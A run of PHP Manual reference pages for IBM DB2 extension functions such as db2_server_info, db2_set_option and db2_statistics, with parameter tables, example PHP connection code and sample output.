db2_result
db2_server_info
IBM DB2 Functions


Returns an object with properties that describe the DB2 database server

db2_rollback
db2_set_option
IBM DB2 Functions
PHP Manual

db2_server_info

(PECL ibm_db2 >= 1.1.1)

db2_server_info — Returns an object with properties that describe the DB2 database server

Description

object db2_server_info ( resource $connection )

This function returns an object with read-only properties that return information about the IBM DB2, Cloudscape, or Apache Derby database server. The following table lists the database server properties:

Database server properties
Property name | Return type | Description
DBMS_NAME | string | The name of the database server to which you are connected. For DB2 servers this is a combination of DB2 followed by the operating system on which the database server is running.
DBMS_VER | string | The version of the database server, in the form of a string "MM.mm.uuuu" where MM is the major version, mm is the minor version, and uuuu is the update. For example, "08.02.0001" represents major version 8, minor version 2, update 1.
DB_CODEPAGE | int | The code page of the database to which you are connected.
DB_NAME | string | The name of the database to which you are connected.
DFT_ISOLATION string

The default transaction isolation level supported by the server:

UR

Uncommitted read: changes are immediately visible by all concurrent transactions.

CS

Cursor stability: a row read by one transaction can be altered and committed by a second concurrent transaction.

RS

Read stability: a transaction can add or remove rows matching a search condition or a pending transaction.

RR

Repeatable read: data affected by pending transaction is not available to other transactions.

NC

No commit: any changes are visible at the end of a successful operation. Explicit commits and rollbacks are not allowed.

IDENTIFIER_QUOTE_CHAR | string | The character used to delimit an identifier.
INST_NAME | string | The instance on the database server that contains the database.
ISOLATION_OPTION | array | An array of the isolation options supported by the database server. The isolation options are described in the DFT_ISOLATION property.
KEYWORDS | array | An array of the keywords reserved by the database server.
LIKE_ESCAPE_CLAUSE | bool | TRUE if the database server supports the use of % and _ wildcard characters. FALSE if the database server does not support these wildcard characters.
MAX_COL_NAME_LEN | int | Maximum length of a column name supported by the database server, expressed in bytes.
MAX_IDENTIFIER_LEN | int | Maximum length of an SQL identifier supported by the database server, expressed in characters.
MAX_INDEX_SIZE | int | Maximum size of columns combined in an index supported by the database server, expressed in bytes.
MAX_PROC_NAME_LEN | int | Maximum length of a procedure name supported by the database server, expressed in bytes.
MAX_ROW_SIZE | int | Maximum length of a row in a base table supported by the database server, expressed in bytes.
MAX_SCHEMA_NAME_LEN | int | Maximum length of a schema name supported by the database server, expressed in bytes.
MAX_STATEMENT_LEN | int | Maximum length of an SQL statement supported by the database server, expressed in bytes.
MAX_TABLE_NAME_LEN | int | Maximum length of a table name supported by the database server, expressed in bytes.
NON_NULLABLE_COLUMNS | bool | TRUE if the database server supports columns that can be defined as NOT NULL, FALSE if the database server does not support columns defined as NOT NULL.
PROCEDURES | bool | TRUE if the database server supports the use of the CALL statement to call stored procedures, FALSE if the database server does not support the CALL statement.
SPECIAL_CHARS | string | A string containing all of the characters other than a-Z, 0-9, and underscore that can be used in an identifier name.
SQL_CONFORMANCE string

The level of conformance to the ANSI/ISO SQL-92 specification offered by the database server:

ENTRY

Entry-level SQL-92 compliance.

FIPS127

FIPS-127-2 transitional compliance.

FULL

Full level SQL-92 compliance.

INTERMEDIATE

Intermediate level SQL-92 compliance.

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns an object on a successful call. Returns FALSE on failure.

Examples

Example #1 A db2_server_info() example

To retrieve information about the server, you must pass a valid database connection resource to db2_server_info().

<?php

$conn = db2_connect('sample', 'db2inst1', 'ibmdb2');

$server = db2_server_info( $conn );

if ($server) {
    echo "DBMS_NAME: ";                 var_dump( $server->DBMS_NAME );
    echo "DBMS_VER: ";                  var_dump( $server->DBMS_VER );
    echo "DB_CODEPAGE: ";               var_dump( $server->DB_CODEPAGE );
    echo "DB_NAME: ";                   var_dump( $server->DB_NAME );
    echo "INST_NAME: ";                 var_dump( $server->INST_NAME );
    echo "SPECIAL_CHARS: ";             var_dump( $server->SPECIAL_CHARS );
    echo "KEYWORDS: ";                  var_dump( sizeof($server->KEYWORDS) );
    echo "DFT_ISOLATION: ";             var_dump( $server->DFT_ISOLATION );
    echo "ISOLATION_OPTION: ";
    $il = '';
    foreach( $server->ISOLATION_OPTION as $opt )
    {
       $il .= $opt." ";
    }
    var_dump( $il );
    echo "SQL_CONFORMANCE: ";           var_dump( $server->SQL_CONFORMANCE );
    echo "PROCEDURES: ";                var_dump( $server->PROCEDURES );
    echo "IDENTIFIER_QUOTE_CHAR: ";     var_dump( $server->IDENTIFIER_QUOTE_CHAR );
    echo "LIKE_ESCAPE_CLAUSE: ";        var_dump( $server->LIKE_ESCAPE_CLAUSE );
    echo "MAX_COL_NAME_LEN: ";          var_dump( $server->MAX_COL_NAME_LEN );
    echo "MAX_ROW_SIZE: ";              var_dump( $server->MAX_ROW_SIZE );
    echo "MAX_IDENTIFIER_LEN: ";        var_dump( $server->MAX_IDENTIFIER_LEN );
    echo "MAX_INDEX_SIZE: ";            var_dump( $server->MAX_INDEX_SIZE );
    echo "MAX_PROC_NAME_LEN: ";         var_dump( $server->MAX_PROC_NAME_LEN );
    echo "MAX_SCHEMA_NAME_LEN: ";       var_dump( $server->MAX_SCHEMA_NAME_LEN );
    echo "MAX_STATEMENT_LEN: ";         var_dump( $server->MAX_STATEMENT_LEN );
    echo "MAX_TABLE_NAME_LEN: ";        var_dump( $server->MAX_TABLE_NAME_LEN );
    echo "NON_NULLABLE_COLUMNS: ";      var_dump( $server->NON_NULLABLE_COLUMNS );

    db2_close($conn);
}
?>

The above example will output:

DBMS_NAME: string(9) "DB2/LINUX"
DBMS_VER: string(10) "08.02.0000"
DB_CODEPAGE: int(1208)
DB_NAME: string(6) "SAMPLE"
INST_NAME: string(8) "db2inst1"
SPECIAL_CHARS: string(2) "@#"
KEYWORDS: int(179)
DFT_ISOLATION: string(2) "CS"
ISOLATION_OPTION: string(12) "UR CS RS RR "
SQL_CONFORMANCE: string(7) "FIPS127"
PROCEDURES: bool(true)
IDENTIFIER_QUOTE_CHAR: string(1) """
LIKE_ESCAPE_CLAUSE: bool(true)
MAX_COL_NAME_LEN: int(30)
MAX_ROW_SIZE: int(32677)
MAX_IDENTIFIER_LEN: int(18)
MAX_INDEX_SIZE: int(1024)
MAX_PROC_NAME_LEN: int(128)
MAX_SCHEMA_NAME_LEN: int(30)
MAX_STATEMENT_LEN: int(2097152)
MAX_TABLE_NAME_LEN: int(128)
NON_NULLABLE_COLUMNS: bool(true)

See Also

  • db2_client_info() - Returns an object with properties that describe the DB2 database client

User Contributed Notes

There are no user contributed notes for this page.
db2_rollback
db2_set_option
IBM DB2 Functions


Set options for connection or statement resources

db2_server_info
db2_special_columns
IBM DB2 Functions
PHP Manual

db2_set_option

(PECL ibm_db2 >= 1.0.0)

db2_set_option — Set options for connection or statement resources

Description

bool db2_set_option ( resource $resource , array $options , int $type )

Sets options for a statement resource or a connection resource. You cannot set options for result set resources.

Parameters

resource

A valid statement resource as returned from db2_prepare() or a valid connection resource as returned from db2_connect() or db2_pconnect().

options

An associative array containing valid statement or connection options. This parameter can be used to change autocommit values, cursor types (scrollable or forward), and to specify the case of the column names (lower, upper, or natural) that will appear in a result set.

autocommit

Passing DB2_AUTOCOMMIT_ON turns autocommit on for the specified connection resource.

Passing DB2_AUTOCOMMIT_OFF turns autocommit off for the specified connection resource.

cursor

Passing DB2_FORWARD_ONLY specifies a forward-only cursor for a statement resource. This is the default cursor type, and is supported by all database servers.

Passing DB2_SCROLLABLE specifies a scrollable cursor for a statement resource. Scrollable cursors enable result set rows to be accessed in non-sequential order, but are only supported by IBM DB2 Universal Database databases.

binmode

Passing DB2_BINARY specifies that binary data will be returned as is. This is the default mode. This is the equivalent of setting ibm_db2.binmode=1 in php.ini.

Passing DB2_CONVERT specifies that binary data will be converted to hexadecimal encoding, and will be returned as such. This is the equivalent of setting ibm_db2.binmode=2 in php.ini.

Passing DB2_PASSTHRU specifies that binary data will be converted to NULL. This is the equivalent of setting ibm_db2.binmode=3 in php.ini.

db2_attr_case

Passing DB2_CASE_LOWER specifies that column names of the result set are returned in lower case.

Passing DB2_CASE_UPPER specifies that column names of the result set are returned in upper case.

Passing DB2_CASE_NATURAL specifies that column names of the result set are returned in natural case.

deferred_prepare

Passing DB2_DEFERRED_PREPARE_ON turns deferred prepare on for the specified statement resource.

Passing DB2_DEFERRED_PREPARE_OFF turns deferred prepare off for the specified statement resource.

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later. These options apply only when running PHP and ibm_db2 natively on i5 systems.

i5_fetch_only

DB2_I5_FETCH_ON - Cursors are read-only and cannot be used for positioned updates or deletes. This is the default unless SQL_ATTR_FOR_FETCH_ONLY environment has been set to SQL_FALSE.

DB2_I5_FETCH_OFF - Cursors can be used for positioned updates and deletes.

The following new option is available in ibm_db2 version 1.8.0 and later.

rowcount

DB2_ROWCOUNT_PREFETCH_ON - Client can request the full row count prior to fetching, which means that db2_num_rows() returns the number of rows selected even when a ROLLFORWARD_ONLY cursor is used.

DB2_ROWCOUNT_PREFETCH_OFF - Client cannot request the full row count prior to fetching.

The following new options are available in ibm_db2 version 1.7.0 and later.

trusted_user

To switch the user to a trusted user, pass the User ID (String) of the trusted user as the value of this key. This option can be set on a connection resource only. To use this option, trusted context must be enabled on the connection resource.

trusted_password

The password (String) that corresponds to the user specified by the trusted_user key.

The following new options are available in ibm_db2 version 1.6.0 and later. These options provide useful tracking information that can be accessed during execution with db2_get_option().

Note:

When the value in each option is being set, some servers might not handle the entire length provided and might truncate the value.

To ensure that the data specified in each option is converted correctly when transmitted to a host system, use only the characters A through Z, 0 through 9, and the underscore (_) or period (.).

userid

SQL_ATTR_INFO_USERID - A pointer to a null-terminated character string used to identify the client user ID sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 16 characters. This user-id is not to be confused with the authentication user-id, it is for identification purposes only and is not used for any authorization.

acctstr

SQL_ATTR_INFO_ACCTSTR - A pointer to a null-terminated character string used to identify the client accounting string sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 200 characters.

applname

SQL_ATTR_INFO_APPLNAME - A pointer to a null-terminated character string used to identify the client application name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 32 characters.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - A pointer to a null-terminated character string used to identify the client workstation name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 18 characters.

type

An integer value that specifies the type of resource that was passed into the function. The type of resource and this value must correspond.

Passing 1 as the value specifies that a connection resource has been passed into the function.

Passing any integer not equal to 1 as the value specifies that a statement resource has been passed into the function.

The following table specifies which options are compatible with the available resource types:

Resource-Parameter Matrix
Key | Value | Resource Type
 |  | Connection | Statement | Result Set
autocommit | DB2_AUTOCOMMIT_ON | X | - | -
autocommit | DB2_AUTOCOMMIT_OFF | X | - | -
cursor | DB2_SCROLLABLE | - | X | -
cursor | DB2_FORWARD_ONLY | - | X | -
binmode | DB2_BINARY | X | X | -
binmode | DB2_CONVERT | X | X | -
binmode | DB2_PASSTHRU | X | X | -
db2_attr_case | DB2_CASE_LOWER | X | X | -
db2_attr_case | DB2_CASE_UPPER | X | X | -
db2_attr_case | DB2_CASE_NATURAL | X | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_ON | - | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_OFF | - | X | -
i5_fetch_only | DB2_I5_FETCH_ON | - | X | -
i5_fetch_only | DB2_I5_FETCH_OFF | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_ON | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_OFF | - | X | -
trusted_user | <USER NAME> (String) | X | - | -
trusted_password | <PASSWORD> (String) | X | - | -
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting one parameter with a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_ON);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Options Set Successfully

Example #2 Setting multiple parameters with a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Options Set Successfully

Example #3 Setting multiple parameters with an invalid key

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
             'MY_INVALID_KEY' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #4 Setting multiple parameters with an invalid value

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => 'INVALID_VALUE',
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and type values */
$result = db2_set_option($conn, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #5 Setting multiple parameters with a connection resource and the wrong type

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

/* Call the function using the correct resource, options array, and the wrong type value */
$result = db2_set_option($conn, $options, 2);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #6 Setting multiple parameters with the wrong resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE');

/* Call the function using the wrong resource, and the correct options array, and type values */
$result = db2_set_option($stmt, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
  echo 'Options Set Successfully';
}
else
{
  echo 'Could Not Set Options';
}
?>

The above example will output:

Could Not Set Options

Example #7 Putting it all together

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('db2_attr_case' => DB2_CASE_LOWER,
                        'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE WHERE EMPNO = ? OR EMPNO = ?');

/* Call the function using the correct resource, options array, and type values */
$option_result = db2_set_option($stmt, $options, 2);
$result = db2_execute($stmt, array('000130', '000140'));

/* Get Row 2 before Row 1 since Scrollable Cursor */
print_r(db2_fetch_assoc($stmt, 2));
print '<br /><br />';
print_r(db2_fetch_assoc($stmt, 1));

?>

The above example will output:

Array
(
    [empno] => 000140
    [firstnme] => HEATHER
    [midinit] => A
    [lastname] => NICHOLLS
    [workdept] => C01
    [phoneno] => 1793
    [hiredate] => 1976-12-15
    [job] => ANALYST
    [edlevel] => 18
    [sex] => F
    [birthdate] => 1946-01-19
    [salary] => 28420.00
    [bonus] => 600.00
    [comm] => 2274.00
)

Array
(
    [empno] => 000130
    [firstnme] => DELORES
    [midinit] => M
    [lastname] => QUINTANA
    [workdept] => C01
    [phoneno] => 4578
    [hiredate] => 1971-07-28
    [job] => ANALYST
    [edlevel] => 16
    [sex] => F
    [birthdate] => 1925-09-15
    [salary] => 23800.00
    [bonus] => 500.00
    [comm] => 1904.00
)

Example #8 i5/OS cursors are read-only

<?php
  $conn = db2_connect("", "", "", array("i5_lib"=>"nobody"));
  $stmt = db2_prepare($conn, 'select * from names where first = ?');
  $name = "first2";
  db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
  $options = array("i5_fetch_only"=>DB2_I5_FETCH_ON);
  db2_set_option($stmt,$options,0);
  if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
      echo "{$row[0]} {$row[1]}";
    }
  }
?>

The above example will output:

first2 last2

See Also

  • db2_connect() - Returns a connection to a database
  • db2_pconnect() - Returns a persistent connection to a database
  • db2_exec() - Executes an SQL statement directly
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_cursor_type() - Returns the cursor type used by a statement resource

User Contributed Notes

rtejpar at ca dot ibm dot com 03-Nov-2006 07:45
Examples 3 and 4 should output 'Options Set Successfully.'  This is because, only a single option's key/value is set incorrectly (other options are still correct), hence the function must return successfully. (Instead a PHP warning will most probably be issued).
db2_server_info
db2_special_columns
IBM DB2 Functions


Returns a result set listing the unique row identifier columns for a table

db2_set_option
db2_statistics
IBM DB2 Functions
PHP Manual

db2_special_columns

(PECL ibm_db2 >= 1.0.0)

db2_special_columns — Returns a result set listing the unique row identifier columns for a table

Description

resource db2_special_columns ( resource $connection , string $qualifier , string $schema , string $table_name , int $scope )

Returns a result set listing the unique row identifier columns for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables.

table_name

The name of the table.

scope

Integer value representing the minimum duration for which the unique row identifier is valid. This can be one of the following values:

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.

Return Values

Returns a statement resource with a result set containing rows with unique row identifier information for a table. The rows are composed of the following columns:

Column name | Description
SCOPE

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.
COLUMN_NAME | Name of the unique column.
DATA_TYPE | SQL data type for the column.
TYPE_NAME | Character string representation of the SQL data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
PSEUDO_COLUMN | Always returns 1.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_set_option
db2_statistics
IBM DB2 Functions


Returns a result set listing the index and statistics for a table

db2_special_columns
db2_stmt_error
IBM DB2 Functions
PHP Manual

db2_statistics

(PECL ibm_db2 >= 1.0.0)

db2_statistics — Returns a result set listing the index and statistics for a table

Description

resource db2_statistics ( resource $connection , string $qualifier , string $schema , string $table-name , bool $unique )

Returns a result set listing the index and statistics for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema that contains the targeted table. If this parameter is NULL, the statistics and indexes are returned for the schema of the current user.

table_name

The name of the table.

unique

An integer value representing the type of index information to return.

0

Return only the information for unique indexes on the table.

1

Return the information for all indexes on the table.

Return Values

Returns a statement resource with a result set containing rows describing the statistics and indexes for the base tables matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
NON_UNIQUE

An integer value representing whether the index prohibits unique values, or whether the row represents statistics on the table itself:

Return value | Parameter type
0 (SQL_FALSE) | The index allows duplicate values.
1 (SQL_TRUE) | The index values must be unique.
NULL | This row is statistics information for the table itself.
INDEX_QUALIFIER | A string value representing the qualifier that would have to be prepended to INDEX_NAME to fully qualify the index.
INDEX_NAME | A string representing the name of the index.
TYPE

An integer value representing the type of information contained in this row of the result set:

Return value | Parameter type
0 (SQL_TABLE_STAT) | The row contains statistics about the table itself.
1 (SQL_INDEX_CLUSTERED) | The row contains information about a clustered index.
2 (SQL_INDEX_HASH) | The row contains information about a hashed index.
3 (SQL_INDEX_OTHER) | The row contains information about a type of index that is neither clustered nor hashed.
ORDINAL_POSITION | The 1-indexed position of the column in the index. NULL if the row contains statistics information about the table itself.
COLUMN_NAME | The name of the column in the index. NULL if the row contains statistics information about the table itself.
ASC_OR_DESC | A if the column is sorted in ascending order, D if the column is sorted in descending order, NULL if the row contains statistics information about the table itself.
CARDINALITY

If the row contains information about an index, this column contains an integer value representing the number of unique values in the index.

If the row contains information about the table itself, this column contains an integer value representing the number of rows in the table.

PAGES

If the row contains information about an index, this column contains an integer value representing the number of pages used to store the index.

If the row contains information about the table itself, this column contains an integer value representing the number of pages used to store the table.

FILTER_CONDITION | Always returns NULL.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_special_columns
db2_stmt_error
IBM DB2 Functions


Returns a string containing the SQLSTATE returned by an SQL statement

db2_statistics
db2_stmt_errormsg
IBM DB2 Functions
PHP Manual

db2_stmt_error

(PECL ibm_db2 >= 1.0.0)

db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement

Description

string db2_stmt_error ([ resource $stmt ] )

Returns a string containing the SQLSTATE value returned by an SQL statement.

If you do not pass a statement resource as an argument to db2_stmt_error(), the driver returns the SQLSTATE value associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_stmt_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

Parameters

stmt

A valid statement resource.

Return Values

Returns a string containing an SQLSTATE value.

See Also

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

There are no user contributed notes for this page.
db2_statistics
db2_stmt_errormsg
IBM DB2 Functions


Returns a string containing the last SQL statement error message

db2_stmt_error
db2_table_privileges
IBM DB2 Functions
PHP Manual

db2_stmt_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_stmt_errormsg — Returns a string containing the last SQL statement error message

Description

string db2_stmt_errormsg ([ resource $stmt ] )

Returns a string containing the last SQL statement error message.

If you do not pass a statement resource as an argument to db2_stmt_errormsg(), the driver returns the error message associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

Parameters

stmt

A valid statement resource.

Return Values

Returns a string containing the error message and SQLCODE value for the last error that occurred issuing an SQL statement.

See Also

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement

User Contributed Notes

There are no user contributed notes for this page.
db2_stmt_error
db2_table_privileges
IBM DB2 Functions


Returns a result set listing the tables and associated privileges in a database

db2_stmt_errormsg
db2_tables
IBM DB2 Functions
PHP Manual

db2_table_privileges

(PECL ibm_db2 >= 1.0.0)

db2_table_privileges — Returns a result set listing the tables and associated privileges in a database

Description

resource db2_table_privileges ( resource $connection [, string $qualifier [, string $schema [, string $table_name ]]] )

Returns a result set listing the tables and associated privileges in a database.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table_name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

Return Values

Returns a statement resource with a result set containing rows describing the privileges for the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege that has been granted. This can be one of ALTER, CONTROL, DELETE, INDEX, INSERT, REFERENCES, SELECT, or UPDATE.
IS_GRANTABLE | A string value of "YES" or "NO" indicating whether the grantee can grant the privilege to other users.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

